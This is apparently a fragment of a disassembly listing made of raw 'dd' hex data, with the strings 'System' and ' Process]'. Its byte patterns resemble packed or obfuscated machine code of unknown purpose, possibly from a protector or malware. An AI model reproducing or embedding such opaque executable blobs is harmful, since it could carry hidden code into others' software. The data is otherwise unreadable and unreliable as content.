		dd 4C4815Ah, 8B000000h,	89512404h, 4C181E1h, 81000000h
		dd 4C1h, 240C8700h, 0A5DDE95Ch,	0E974FFFAh, 0B87024A8h
		dd 6ABD72Eh, 0E0FFC503h, 5802FD2Dh, 3019CE6Eh, 0DF4884Bh
		dd 5C19BF85h, 5C2DC66Eh, 7F3D70B3h, 0A8B4F3Dh, 4C326ABAh
		dd 19E02205h, 60E8DEF6h, 56415D06h, 3E42FD76h, 6AC08Bh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0CE8007C3h, 79BB6657h, 0A5BD8341h, 6A61Eh, 0BD830975h
		dd 6A62F9Dh, 50197400h,	0B8C08B53h, 3FCh, 2AD18589h, 9D8D06A6h
		dd 6A8A56Ch, 585BD3FFh,	2F9DBD83h, 740006A6h, 0B8535017h
		dd 3FCh, 2AD18589h, 9D8D06A6h, 6A8A25Bh, 585BD3FFh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0B5C35646h, 9F9C7F83h
		dd 0BCD28163h, 6A496CEAh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0C181C355h,	2019DF63h
		dd 91A5D951h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 2CDE40C3h, 0ACB2993Bh, 0BD83ADB6h
		dd 6A61451h, 66840F01h,	80000000h, 0BD8378DBh, 6A6192Dh
		dd 56850F00h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0DDFEC356h,	6A1C695h
		dd 9091DEBFh, 3ACA8166h, 4DBB665Fh, 25BD836Fh, 6A61Bh
		dd 8E840Fh, 14E80000h, 38000000h, 722BE86Eh, 6ABA805Fh
		dd 7CFBB5Bh, 0C3386A99h, 0F852A4A9h, 426E95Ah, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0B6CC89C3h, 0AFh, 50006A00h,	3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 6A4C31C9h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 9246C353h
		dd 5E8FB60h, 1E000000h,	0C151AB7h, 5AF7C280h, 1D1B9388h
		dd 464A2029h, 4A252FA2h, 6E6F3C25h, 942C4C56h, 0C72C25C0h
		dd 4770614h, 0E370AF51h, 0E368A701h, 0C72C3D86h, 47F6541h
		dd 7CB6FA13h, 3867BEBCh, 17D3FEA3h, 2F7E267Eh, 0C72C2609h
		dd 9DEF7C25h, 0C308720Bh, 0C30862C0h, 0C72C26B4h, 0E8EF7412h
		dd 43F7A74Eh, 0C352CFE7h, 464A260Ah, 9222D0F6h,	0C72C266Ah
		dd 2AAD7B41h, 0C187FC9Dh, 2F7A263Ah, 0C72C262Bh, 99EF7834h
		dd 0C3085283h, 0C3086284h, 0C72C269Bh, 5AEF7007h, 95E5DB4Fh
		dd 17A740C2h, 0C746E6A3h, 0C72FCE44h, 9F0C260Ah, 83A57EC6h
		dd 83AD22A6h, 0C7302265h, 976C26A0h, 0EC6D9E93h, 522428ADh
		dd 0A1D5A157h, 0D984CD8Bh, 4E4F9155h, 0C7460286h, 0C72FCE12h
		dd 9C0C26A0h, 9BA57D93h, 83AD220Ch, 0C7312230h,	946F260Ah
		dd 0AED42BC6h, 83254778h, 0A1F2F116h, 0C623FE2Bh, 46D2021Ch
		dd 585EE5EAh, 0C7467E10h, 0C72FCE58h, 9D0C2605h, 93A57C41h
		dd 83AD2265h, 0C7392284h, 956E2650h, 3F5D55EBh,	0D9EE9C72h
		dd 0C72E2A0Fh, 0C723CF05h, 0EEA52682h, 71E8CEA0h, 76395718h
		dd 0F1F8AC81h, 3224ADD1h, 3B64AD72h, 2F7B2660h,	0C72C2606h
		dd 98EF79A2h, 0C3085AC8h, 0C3086221h, 0C72C264Dh, 48EF716Fh
		dd 8BA6DFB4h, 11CC88B1h, 0C1C5467Dh, 692C2682h,	1577854Fh
		dd 0C727CF6Ah, 91AF2650h, 1AABA372h, 3DE6A0B0h,	0C694474Eh
		dd 0AD2C2605h, 0C4C47682h, 0E72C2641h, 4E74E5F8h, 46280214h
		dd 0D328026Ch, 872C2614h, 4C40E55Ah, 4C9E76DFh,	0AD082A0Bh
		dd 0C4C47041h, 0E72C26A0h, 4E72E50Eh, 4628025Ch, 0D0280250h
		dd 812C260Ah, 77F4E553h, 4B23A50Ch, 0C72C2641h,	0A10EC120h
		dd 0C746FFDCh, 0C72FCE78h, 9F0C2614h, 83A57EC9h, 83AD2221h
		dd 0C73022A6h, 976C2641h, 7C1D3863h, 70ABD90Dh,	6DAF2F5h
		dd 94A92910h, 0AD2C260Bh, 0C4C47105h, 0E72C2682h, 4E73E51Eh
		dd 462802DCh, 0DA280214h, 802C2628h, 0BB7DE543h, 44E0EEDFh
		dd 1C7E6E81h, 477AF608h, 4777E99Fh, 9575896Ah, 0C72C2FB8h
		dd 0EC0A2728h, 31CD8954h, 4A233EF0h, 0C72C2605h, 0FEAC7CD9h
		dd 9BA92929h, 0AD2C26A1h, 0C4C47450h, 0E72C2628h, 4E76E54Eh
		dd 4628025Eh, 0D1280241h, 852C2682h, 6C57E513h,	0C655ADF5h
		dd 2F79263Ah, 0C72C262Bh, 9AEF7B34h, 0C3084A83h, 0C3086284h
		dd 0C72C2696h, 34EF7304h, 38AD9916h, 472C2650h,	0C63DA427h
		dd 0C7462614h, 0C72FCE5Dh, 980C2605h, 0BBA57941h, 83AD2265h
		dd 0C7382284h, 906B2650h, 464C55EBh, 0DBD660C2h, 0C724CF00h
		dd 0B1A32605h, 0C9F5BE78h, 4DC755h, 6CF5A325h, 0C72C2756h
		dd 912C4C28h, 0C72C25FCh, 472060Ah, 0E358AF5Bh,	0E368A786h
		dd 0C72C3345h, 47A60A0h, 3E9AD55Bh, 0C72C99C1h,	912C4C14h
		dd 0C72C25E2h, 4720605h, 0E358AFDCh, 0E368A745h, 0C72C30A4h
		dd 47A6050h, 2E61B6BAh,	0C72C2605h, 7831CC55h, 0FE6D90AAh
		dd 23D29275h, 0B4C42041h, 0C755CFBEh, 0C7462650h, 0C72FCE7Ah
		dd 9D0C2614h, 93A57CC9h, 83AD2221h, 0C73422A6h,	956E2641h
		dd 80B763h, 0AD75E333h,	0C4C47628h, 0E72C2614h,	4E74E552h
		dd 46280241h, 0DD2802C6h, 872C2641h, 62C1E5F0h,	73BD93Dh
		dd 34F2A685h, 0CC55A572h, 0EFA829F5h, 0C82C2605h, 0D7C5F435h
		dd 0E82C2641h, 460428C5h, 28F0F00Ch, 477DAF8Ah,	8164A8h
		dd 6CF5A38Fh, 0C72C2703h, 0CEF6A782h, 8F6060C2h, 0C0DDFC21h
		dd 2DAD7196h, 0B27EA3A3h, 0A104D5ADh, 38A9AB76h, 4A2A8DDBh
		dd 6CF18E3Fh, 0B3D41D47h, 162316A7h, 32C76199h,	4C4A5F9Bh
		dd 9691A5C3h, 0C62A801Eh, 0C77AA20Ah, 46232682h, 0C72C2645h
		dd 9D4D46F3h, 0DE019BD3h, 0C82C208Eh, 0C72C1991h, 952C4C0Ah
		dd 0C72C25EDh, 4760682h, 0E378AF1Bh, 0E368A7A4h, 0C72C3E54h
		dd 47E6428h, 6B7F4435h,	4DF2ADA3h, 0E291A5D5h, 0C72A8099h
		dd 0C730A24Eh, 0CFC426A0h, 0AC2C2650h, 0CED557FCh, 9C8334D8h
		dd 0C72CBDE3h, 0C4A52905h, 0C82C2682h, 7AAFFCF6h, 0C18A32F1h
		dd 47A92951h, 0AD2C2628h, 0C4C47014h, 0E72C260Ah, 4E72E55Bh
		dd 462802F6h, 0DA280205h, 812C26A0h, 0BCAEE506h, 25D81487h
		dd 3A6191E3h, 9AFAAD6Ch, 2F7E266Fh, 0C72C2681h,	9DEF7C61h
		dd 0C3087229h, 0C30862D1h, 0C72C2635h, 2BEF7456h, 0D4953454h
		dd 51F20CB1h, 0C8EFDE34h, 0C72C22C7h, 0EA9640A0h, 0C70ACF5Dh
		dd 0C7462628h, 0C72FCE43h, 980C260Ah, 0BBA579C6h, 83AD22A6h
		dd 0C7352265h, 906B26A0h, 0D1067A93h, 9A9714FCh, 8FF991Bh
		dd 1EF89B87h, 4AA120AEh, 0C187F84Eh, 0FD703BF9h, 0DEA915DBh
		dd 0EC2A8051h, 0C5C5E7E7h, 0A104D5ADh, 38A9AB76h, 4A2A8DDBh
		dd 6CF18E3Fh, 0B3D41D47h, 162316A7h, 0F305E983h, 85BD83A4h
		dd 6ABD9h, 8D8D0D74h, 6A64F55h,	1B8h, 40E1FF00h, 69FEEB81h
		dd 6A38FCh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h
		dd 51410000h, 0DE54D4C3h, 0FE8A7D98h, 0F2DE883h, 981h
		dd 3800F00h, 80000000h,	0CE955DBh, 43000000h, 0C311A559h
		dd 0F8858510h, 8B474D31h, 40BA66C0h, 0A5BD83C0h, 6A61Eh
		dd 0BD830975h, 6A62F9Dh, 50197400h, 0B8C08B53h,	3FCh, 1BF98589h
		dd 9D8D06A6h, 6A8A5D3h,	585BD3FFh, 2F9DBD83h, 740006A6h
		dd 0B8535017h, 3FCh, 1BF98589h,	9D8D06A6h, 6A8A274h, 585BD3FFh
		dd 0F70A6BBh, 56006A22h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 7F229248h, 0E9C08B25h, 164h, 768981D9h
		dd 84156810h, 4CE94CE4h, 0B34588Bh, 523F5626h, 0B3C5676h
		dd 523758D4h, 3B1C713Ch, 524E245Fh, 0D0B570E4h,	9CB1C41Ah
		dd 5209B6A7h, 5278149Ah, 128h, 0
		dd 4, 2	dup(0)
		dd 2Fh,	0
		dd 8, 0
aSystem_0	db 'System',0
aProcess	db ' Process]',0
		align 10h
		dd 3Eh dup(0)
		dd 16FAE9h, 0E3406800h,	33E906ABh, 68FFFB5Fh, 6ABE45Ah
		dd 0FB5F29E9h, 0E54468FFh, 1FE906ABh, 68FFFB5Fh, 6ABE606h
		dd 0FB5F15E9h, 0E7A368FFh, 0BE906ABh, 68FFFB5Fh, 6ABE906h
		dd 0FB5F01E9h, 0E9D868FFh, 0F7E906ABh, 68FFFB5Eh, 6ABEAA0h
		dd 0FB5EEDE9h, 0ECCE68FFh, 0E3E906ABh, 68FFFB5Eh, 6ABEDB4h
		dd 0FB5ED9E9h, 0EE6168FFh, 0CFE906ABh, 68FFFB5Eh, 6ABEEFEh
		dd 0FB5EC5E9h, 0F06468FFh, 0BBE906ABh, 68FFFB5Eh, 6ABF579h
		dd 0FB5EB1E9h, 0F6B068FFh, 0A7E906ABh, 0EFFFFB5Eh, 0D0C866A2h
		dd 692B878h, 4AA6CC34h,	0BC7402CEh, 0EA3B519Fh,	0A0602B4Ah
		dd 0F8381E8Ah, 0DF74652h, 44848B67h, 3B2DFF2Eh,	0AE91BB4h
		dd 4C1EAC36h, 0E91B559Ah, 30BD70Ah, 4CD2B2C7h, 1426EF4Fh
		dd 94FC8D62h, 48C31F11h, 0D87E2A88h, 20E76918h,	6217D57Ah
		dd 1B31F758h, 0AFEBCDB5h, 0D20B1D63h, 0FC5F4119h, 586EC934h
		dd 11C3959Ah, 183A737Bh, 0C9CADABh, 0D82A89D1h,	77CEAA7Eh
		dd 0F0C76F9h, 4C38FF12h, 0AEE93A3h, 6A1FC574h, 534F450h
		dd 0CD350703h, 0E92B62BCh, 3566524Ah, 62209824h, 2CEABE32h
		dd 4061h, 2612D900h, 49C0908Ah,	77D51531h, 0A64842C2h
		dd 1194FC51h, 22F6B5D3h, 3B2C5430h, 0B5C48018h,	0EECDAC47h
		dd 3EEA320Ah, 34EACC9h,	0BCCD3304h, 1B1065D8h, 0A8E81F1Ch
		dd 0EB2CEAB4h, 0E3h, 0A1672843h, 0DF053690h, 0F93F10AAh
		dd 1BD97E48h, 0A4DE7101h, 381C2D93h, 0D91EC0DAh, 4B1194FCh
		dd 0E4260E0Dh, 119500D6h, 0EADD7C99h, 0AEC5E2BEh, 0DE1E31E9h
		dd 11D778B0h, 6C837507h, 0FE11942Ch, 4F8D829Eh,	0E4555A3Ah
		dd 928418E0h, 3A56D8E0h, 82A8AC18h, 8A7C642Ch, 0AEE0165h
		dd 692381C7h, 96A6D887h, 28E29A11h, 2BFD2368h, 4EA55719h
		dd 0DC04455Ch, 5C29CEB8h, 0DDBB0445h, 898E76C5h, 1CC477A3h
		dd 0E0FA291Ch, 219AAFBAh, 1443h, 51FF2D68h, 1B31F159h
		dd 2F458D8Fh, 0FD9B57F3h, 80AE1625h, 0E754C36Dh, 0B1871339h
		dd 4ECFDB71h, 334EC8Ah,	0A276B7DDh, 0E9193BB0h,	0E555A90Ah
		dd 34076328h, 0EABC6ECCh, 94FCF3F8h, 0B177111h,	6BC1C602h
		dd 325898BFh, 0BF3426E8h, 2D1194FCh, 12C2642Bh,	0EE908A26h
		dd 183B2BA2h, 0F5E79AF2h, 0AEECCFAh, 93A66E2Dh,	0ADDC0437h
		dd 9959FFABh, 9B37EDE8h, 0A1718BDEh, 0B3692EEEh, 7BD2EE07h
		dd 9C8488B9h, 42B176BEh, 2CEAFB52h, 0D941h, 87B74B00h
		dd 692E2E43h, 0A16728CDh, 0DF053690h, 1803EAAh,	1A3D1195h
		dd 0D364BCDAh, 0B44C5CEDh, 2B2D5C84h, 20BC8464h, 223C8476h
		dd 0BF43183Bh, 0C156559Dh, 6D3FE987h, 0EECC747Bh, 6F2CF60Ah
		dd 2E8C90A1h, 0FB9728D7h, 7C237751h, 6E38B49Ch,	96C4CE7Ch
		dd 0D0CA8211h, 0B15D05A5h, 26265B9Bh, 79B8B3DFh, 79D2EEBAh
		dd 7974E1BBh, 0B83F21D1h, 2A04451Fh, 19EDD352h,	38F0585Fh
		dd 82EDAD13h, 62BAE139h, 1329EAD7h, 0D7720000h,	0EBA37F15h
		dd 0A3E9012Fh, 71DDD563h, 0C0F9BB1h, 0DD77AEC4h, 39579DBEh
		dd 0C16FAFE1h, 8AA06029h, 5DFB391Eh, 21D6B848h,	830AE918h
		dd 0BF269F3Fh, 0E8FC9699h, 9849B49Bh, 55A1FBF6h, 0A5964C73h
		dd 0BD7D17Fh, 0AEAEC30Fh, 0DE1E31E9h, 672804B0h, 632BF7A1h
		dd 8DB292A7h, 0EF2D62BCh, 23E3A941h, 440D0C69h,	0AF7763EEh
		dd 0C84F5BE8h, 42BD6208h, 0F3A53901h, 3A860F01h, 0FA5C6418h
		dd 201073Ah, 0E4487315h, 0F7B47CDCh, 789EEB05h,	28603002h
		dd 0DA1A30E8h, 2E2A1A7h, 0FEE0BA36h, 1A0A5086h,	0E5EB9EFEh
		dd 0D7133B1Dh, 5AB5A771h, 8013679Ah, 0D500D2C4h, 1D500D01h
		dd 702AE9D2h, 7D0F19DFh, 0F32B9ABh, 0D4B00614h,	140F0DE2h
		dd 0C52ADC06h, 2706140Fh, 53503421h, 0AA6A2DC5h, 0AFAD9BE6h
		dd 0EFD861BCh, 123Fh, 55E3216Ch, 1F35FD5Dh, 23498983h
		dd 0F19F4BF7h, 84D21239h, 0E3A8C769h, 0B59B173Dh, 4AC3DF75h
		dd 708E08Eh, 0AE72ABC1h, 0E91737BCh, 0E129B50Ah, 8D621426h
		dd 1F1194FCh, 0AFE0BA79h, 0D5EDBF69h, 26CDBF67h, 841194FCh
		dd 6E6EC3C0h, 6A1C0EA2h, 183B28CEh, 6880AEAEh, 4CA35527h
		dd 0DE0AEED0h, 0A72958BEh, 0A35547DBh, 119AB034h, 0CC9486C6h
		dd 33EF854Bh, 2BADDC1Ch, 0EDDD795Fh, 809AF85Ch,	0A96B22FEh
		dd 0C8080E98h, 0E4D3A56Ah, 0D60AEECFh, 20D2E4B6h, 0FD9710CBh
		dd 0AC783F59h, 0D77DA394h, 85B474DBh, 0E1BB3703h, 3D19D5FFh
		dd 436CA04h, 0E4ABADDCh, 56151573h, 86AD8CA6h, 117D36B3h
		dd 632E0000h, 3F1F8BA1h, 0F7455DFBh, 8D89610Fh,	50FB375Dh
		dd 892BFA90h, 55E3216Ah, 1D3BFB5Dh, 264CB485h, 0E98745CAh
		dd 757A6C3Ch, 0F70AE916h, 6328236Bh, 0BFF23607h, 0FFDD7BD9h
		dd 0FB8D9F13h, 0FCB04729h, 5A321194h, 0FD61A355h, 0D3B5183Ah
		dd 0CD33049Eh, 4C44BA7h, 14A79375h, 0B13B5FE8h,	0A7494338h
		dd 0AEEF850h, 4254BAD2h, 9504F490h, 15242011h, 5DFC8689h
		dd 1C62E297h, 3EFE516Dh, 559DBF0Bh, 6536E232h, 0D02DEC2h
		dd 0D5DABACFh, 0A072930Fh, 48EB39BEh, 0EEADAB04h, 0B7DD0334h
		dd 33E57941h, 59E8286Fh, 0BC3325F7h, 2E0448EBh,	0CDBF692Eh
		dd 0AEEEC3Bh, 975C0ED0h, 15FDA2EAh, 0BDDB4C73h,	0A161D7EBh
		dd 0BA8F8C90h, 855D2F60h, 757A4CB4h, 0BAFDA2EAh, 23255494h
		dd 0DACC522Ah, 0EA916608h, 7513FDA2h, 61E85B6h,	0ED8149AAh
		dd 0EBB7493Bh, 791F0448h, 0BA9A36AFh, 0BDE44FE9h, 0F55A56FEh
		dd 5D960237h, 86F6FCD0h, 1527C0F8h, 0FCB08C63h,	3CFC53F6h
		dd 0B2682F29h, 0F9315F9Dh, 0F2849656h, 0D0AA6E2Eh, 0F6FCB01Bh
		dd 76C69B61h, 55004404h, 0E1211733h, 7ACFCC50h,	7AB692AEh
		dd 77EBD7B5h, 0B901B3A5h, 0EAB6FDA2h, 49CF62AEh, 0E1BBDD4Ah
		dd 0F8BF7FD1h, 10355350h, 0D0E2B428h, 0CAC90F00h, 241A93Eh
		dd 7A3D5BF7h, 1C2D93B8h, 0AA8143ACh, 4EE2AEE9h,	6115AA5Ch
		dd 91F7F056h, 8B54FB87h, 0CBA047CDh, 5FF55B5Ch,	7D0CCC43h
		dd 662AEAA1h, 999A6A27h, 0E0736CDDh, 8B00000Fh,	0FC34428Eh
		dd 22FE945Ch, 1682A868h, 5850FE2Ah, 8E670DF3h, 9C44F726h
		dd 0D4143AF6h, 0E92B62BEh, 20E05743h, 1FC1930Ah, 0AE915D8h
		dd 2840C84Ah, 1B97BD63h, 7945F434h, 4B6316D6h, 51E61DB5h
		dd 5DA36329h, 2B405037h, 0AA733391h, 2B000001h,	0F7A16728h
		dd 0FCBC3325h, 2E2E1194h, 49CED869h, 45C1918Bh,	428FF485h
		dd 1DBA55DAh, 25733096h, 6D2D0BF7h, 965EFDA5h, 0D1F7DE3h
		dd 3AB6355Bh, 62177118h, 46828A56h, 783CB741h, 0A5EB0AEEh
		dd 706FD465h, 7002C33Ch, 32F64642h, 0ECC4DC7Fh,	9602DA8Fh
		dd 0EA8BBCD4h, 2CF72Ch,	12570000h, 0EE908A26h, 183B2BA2h
		dd 55809AF2h, 103AF9CCh, 269E6DD0h, 1C8CBD62h, 0AEEF2D3h
		dd 4B07B34Dh, 2CEB214Bh, 0E146h, 67282600h, 53690A1h, 7BF1D665h
		dd 25559677h, 211E53B1h, 0C1E9B3BAh, 71298F95h,	84B51BDBh
		dd 0E12F6C34h, 13CFCC50h, 714DFC3Ch, 0B6701EDEh, 1CFDF2E4h
		dd 0C9871194h, 5EC49C3Eh, 901DD88h, 76D4B8C9h, 4CF7C7B1h
		dd 0F8B81194h, 7BDD6C5Ch, 6BA9EEB4h, 3507DBCDh,	0BD65D5CDh
		dd 0BE321EFEh, 0E6CAFAECh, 31C1183Ch, 44B6C11Eh, 57A4E96Dh
		dd 0DFDC40F1h, 441C0E4Eh, 0B76309F7h, 1B5C5C84h, 3DC1869Ch
		dd 0E7D930Ch, 632E0000h, 3F1F8BA1h, 0F7455DFBh,	8D89610Fh
		dd 50FB375Dh, 892BFA90h, 55E3216Ah, 1D3BFB5Dh, 264CB485h
		dd 0E98745CAh
		dd 757A6C3Ch, 0F70AE913h, 6328236Bh, 0FC906709h, 7A121194h
		dd 9AAC7E14h, 94FD03E8h, 0A1536111h, 1194FC4Ah,	595EBCD8h
		dd 5C4E8E81h, 4F4CB484h, 672875E1h, 0FC8C6315h,	7E1E1194h
		dd 0FA5D6918h, 0B3841C3Ah, 0D4EC3C4Dh, 15FBB868h, 0E9D8052Dh
		dd 0A9F62A4Fh, 72BC0BAh, 0DFB91194h, 6BBDAF79h,	63183A20h
		dd 855D4FE5h, 0B24F4CB4h, 75Ch,	0BD632884h, 0FCD31C8Ch
		dd 523E1194h, 683ACCDEh, 94FC7186h, 9695F311h, 40DBE5E2h
		dd 0C7D1B718h, 0BED4143Bh, 3DEF2D62h, 2FECD465h, 458B801Ah
		dd 84BA2445h, 0A42128C1h, 0DABh, 0F99755F0h, 83A96921h
		dd 57FD2517h, 6533FF5Bh, 28468E8Dh, 1F3C5BF5h, 296FBBD1h
		dd 0E65743E9h, 0BB9C1422h, 3ACEDF75h, 0E913A348h, 1DBD010Ah
		dd 31076328h, 7EDC40F1h, 0B177D8D0h, 0B575DBE7h, 0D67945F6h
		dd 0B54B6316h, 9351E61Dh, 2B0E86C5h, 0E1B33391h, 94F0F8FFh
		dd 370D6A11h, 0DF0D5AB3h, 4729E341h, 119458B0h,	0B5555A32h
		dd 0Dh,	7E20695h, 0AC951195h, 0FFFFFDA0h, 0FCED06EEh, 6C341194h
		dd 0F054E52Bh, 0C9652D33h, 0DCA62DDFh, 0DE071840h, 0F7DA9579h
		dd 0C3545B46h, 69D41C3Fh, 0CFBC7755h, 2FF95F13h, 56FC3C13h
		dd 6537F55Ah, 0BAB5D9F8h, 7E3D1D51h, 9A5AF1CDh,	84F4FD96h
		dd 0E1DA6FC1h, 0CE3h, 315F8D88h, 0FB9151F9h, 8FA56D2Fh
		dd 5DFB3713h, 600EF645h, 47F4238Dh, 1127F399h, 2E6FBBD1h
		dd 0E3544CEAh, 0C296173Dh, 0E912DB10h, 45F5490Ah, 0F0301A26h
		dd 0E0201733h, 2C27551h, 0F58D5F6Fh, 0C19F9C44h, 0C01D32E9h
		dd 2E9CA8C3h, 0B272C4AAh, 1CC4742Ch, 441690BEh,	94F35D92h
		dd 8A89CF11h, 91221B7Bh, 199633h, 6F60000h, 119507E2h
		dd 0FCDEAC95h, 0C49CFFFFh, 2EF88977h, 0B799A868h, 12F45251h
		dd 0EE908A26h, 183B1056h, 0A11B2E2Eh, 0AEEE747h, 0D5950DDBh
		dd 2CEB11BDh, 1FEF4h, 1D065400h, 0D01194FDh, 0F8381FABh
		dd 33F14652h, 0FCC98A7Eh, 6E2E1194h, 50B97AAh, 0FDCFB4C5h
		dd 47D210F1h, 1F8B6932h, 2BF73942h, 25E3A060h, 0E321168Dh
		dd 0DF815355h, 1194A118h, 5F94468Ah, 0CD1194A1h, 8666258Bh
		dd 0B61021B7h, 0FD354381h, 1F6B205Ah, 0C448F939h, 0EF4DD366h
		dd 0A1F56E5Ah, 7D8B1194h, 0CC8D0545h, 90043390h, 64000001h
		dd 90A16728h, 0B5C30136h, 35E77B47h, 3B1B4D43h,	994B9918h
		dd 0AEEDE52h, 0E174BC9Dh, 0B5E0DA78h, 0CA282164h, 84B57FDEh
		dd 0D682280h, 0FE198AFAh, 2ED0CA30h, 0AEE82C9h,	0CD7E3D5Bh
		dd 0EE8214DFh, 46728A0Ah, 6ED9FA1h, 640AEE82h, 0F4BC21FFh
		dd 0E84E173Eh, 0ABDE1E30h, 0FF97E6A5h, 0B22CEA84h, 4Eh
		dd 952612EAh, 6A6B0618h, 0A274DA01h, 3A93D4B0h,	715B0018h
		dd 0B93DDC73h, 0F25090BBh, 50E6BA6Ch, 0A37FE190h, 0D7642BE7h
		dd 0EE730AE5h, 1944940Ah, 8E91AFC2h, 6F35FA2Ch,	0B59FF7B3h
		dd 1C242CEAh, 0C242F73Dh, 8DB276C6h, 0A6EDh, 67284D00h
		dd 53690A1h, 0E71EAADFh, 0EB265D73h, 3AE0A7FBh,	0E62E6D15h
		dd 66D5CD53h, 0BC4E58BEh, 94A525CAh, 0C2C18711h, 22E25571h
		dd 0BD8CB214h, 633F1194h, 0F759E828h, 0E7256A30h, 39F6B49h
		dd 2F656709h, 566A183Dh, 0EB7C23E1h, 54E7BB6Dh,	6E8BA6Ch
		dd 0AEBE9F1h, 81D41C3Eh, 0B068C0C7h, 4055559Bh,	14C18787h
		dd 0AB5B825h, 5BE60000h, 67D7C369h, 3F1D95A3h, 0C54159F7h
		dd 98B36F05h, 51E33258h, 8DAB6922h, 55E32315h, 1E34FC5Dh
		dd 214F8D82h, 0AD4234C4h, 3F0AE910h, 63286BA3h,	341B97BDh
		dd 283E5EF4h, 2BF7A167h, 3690A161h, 0A8ACDD07h,	24F4454Ah
		dd 0FC8B6012h, 0E2541194h, 5C090F22h, 0E8AF7B38h, 0E8A27E28h
		dd 0F4CD6B28h, 3C4h, 7B706234h,	0E91194FCh, 268EA86Fh
		dd 0C54A301Ah, 8C127207h, 0DE41D88Fh, 0BAAC7EF2h, 1840DC26h
		dd 0F13F1CA6h, 8F0A893h, 59FE8294h, 1EC0949Bh, 118F4DC2h
		dd 75671A72h, 442EB7Ah,	0A2E0D8E4h, 263F15F2h, 353A1h
		dd 0BF269900h, 0A64155CEh, 0CBBD625Ah, 1194A620h, 94A61DD9h
		dd 8A261211h, 0C2F6EE90h, 90CD183Ah, 0A08E62B5h, 0A361D63Ah
		dd 8FC95E5Dh, 8A25F48Bh, 1885B4C1h, 9CFh, 2573B19Ch, 0EF854DCDh
		dd 0B3D91933h, 41EFDB67h, 1422E2A9h, 73D83799h,	50BE78Dh
		dd 0DA73AFC5h, 97B8701Eh, 0DEE23B51h, 0E90FC72Ch, 71D9250Ah
		dd 0F7A16728h, 0FCA36F2Bh, 0D6007D4Fh, 6CD8957h, 2C14F4BBh
		dd 0B2C7050Ah, 0A85A4CD2h, 18407037h, 3F9DBBDDh, 242C053h
		dd 0CBAE051Dh, 0DFE1B365h, 0E827C62Dh, 423F240Ah, 0CE50D5D1h
		dd 0AF595EBCh, 11942840h, 0D0E0BAD2h, 0C838047Eh, 0DB71D7B9h
		dd 0D91931C1h, 69ED2EDAh, 8270043Ch, 0EAAC4412h, 848B172Ah
		dd 0E7D33544h, 99AF514Bh, 750AE26Eh, 0FDA22F13h, 73C6B431h
		dd 92276h, 1CCC4900h, 5692BA76h, 6AAAE038h, 0B868D4CCh
		dd 0CF350692h, 0B5E44CA1h, 0F8305E86h, 20F89656h, 158DAB69h
		dd 5154E222h, 0E1AD183h, 36880AE9h, 331A2686h, 665232F1h
		dd 800D0CAh, 4F11CBC8h,	5E5D9DB3h, 40DC3DAAh, 18CA9C18h
		dd 0AE91CD3h, 0E7703751h, 0A5EBB761h, 2C4AB365h, 0F857FFE3h
		dd 0D2CE6625h, 0B8DBC7Ch, 7E9A33Fh, 119591E4h, 3EE6546Eh
		dd 5B27A9D8h, 0E78D2CD8h, 0B41A0912h, 0D234F0E2h, 9E200AE3h
		dd 805068BDh, 0A533E7A3h, 0BA21E147h, 0DAB432FCh, 885726Fh
		dd 6BD60000h, 370793B9h, 0CF4DA5F3h, 95B16907h,	0A8E33F55h
		dd 81D3C268h, 5DFB3912h, 6533F345h, 2E448C8Dh, 0F19F5DF2h
		dd 7D726434h, 0EF0AE90Eh, 67283B93h, 3325F7A1h,	1194FCBCh
		dd 8A7C2E2Eh, 1194FC65h, 0B18281C7h, 4FE22215h,	9209A17Fh
		dd 72D17FBDh, 33912722h, 17791h, 2612C900h, 0CAEE908Ah
		dd 0DA183AFDh, 6B3D8FA2h, 0EEFA7279h, 2AC1B30Ah, 0B80AEEFAh
		dd 0C8CF89DCh, 0EEFAB33Ch, 27932D0Ah, 0EB252B6Bh, 146662Ch
		dd 28C60000h, 3890A167h, 2D12D278h, 7402C275h, 7426BA86h
		dd 3B1B0E82h, 0B3E5E18h, 0EEDD5691h, 843CC80Ah,	0EB07CEC6h
		dd 3BC52Ch, 12A50000h, 0EE908A26h, 183B2BA2h, 0F5E79AF2h
		dd 0AEECCFAh, 0D0825464h, 0AEECC1Bh, 10C8CF89h,	9DB34FB8h
		dd 0A01C7342h, 47A595E9h, 7E33FF5Bh, 0AAEA191Eh, 0E92CEA88h
		dd 0B6h, 3E1A2641h, 2215CDF2h, 0FC4FA456h, 2E351194h, 8EA37D80h
		dd 3A98FC69h, 5090BB07h, 72B28521h, 73ACE33Fh, 47A305D0h
		dd 0C967C596h, 947F2FFFh, 0F9506011h, 106063Bh,	0D082F659h
		dd 1194461Bh, 46D318CAh, 37511194h, 0AAC02626h,	36E07C44h
		dd 3CE98444h, 1A0C4818h, 70C19DE3h, 0D1D650B6h,	10D07B07h
		dd 27EDAE7Ah, 86E47A63h, 0CE3B0EC1h, 71Fh, 7503C14Ch, 3F559DBDh
		dd 0C369A9E3h, 91BF6BD7h, 0A4F23219h, 8388E749h, 55FB375Dh
		dd 6A23FF95h, 276880AEh, 8E524BE1h, 0E90C17DCh,	8109950Ah
		dd 0EBBD6328h, 0F7662472h, 0DBD8A4B4h, 5292A57Dh, 67289004h
		dd 3325F7A1h, 1194FCBCh, 0D8692E2Eh, 918B49CEh,	0FCD61DCFh
		dd 84541194h, 94FC1DD2h, 6BC98F11h, 29358CA4h, 5000000h
		dd 0C6B29723h, 1A78B890h, 0DC8B5E00h, 43051840h, 0F3289158h
		dd 0BE7ED107h, 4A9C4E58h, 0C61194FCh, 58FC8586h, 5E000000h
		dd 908A2612h, 3B27CEEEh, 0F4A6A618h, 0D0BB3022h, 7BC10AEEh
		dd 49C5D63Eh, 0F3B0D481h, 7CA04ABEh, 0C5750AEEh, 0F9526C1Dh
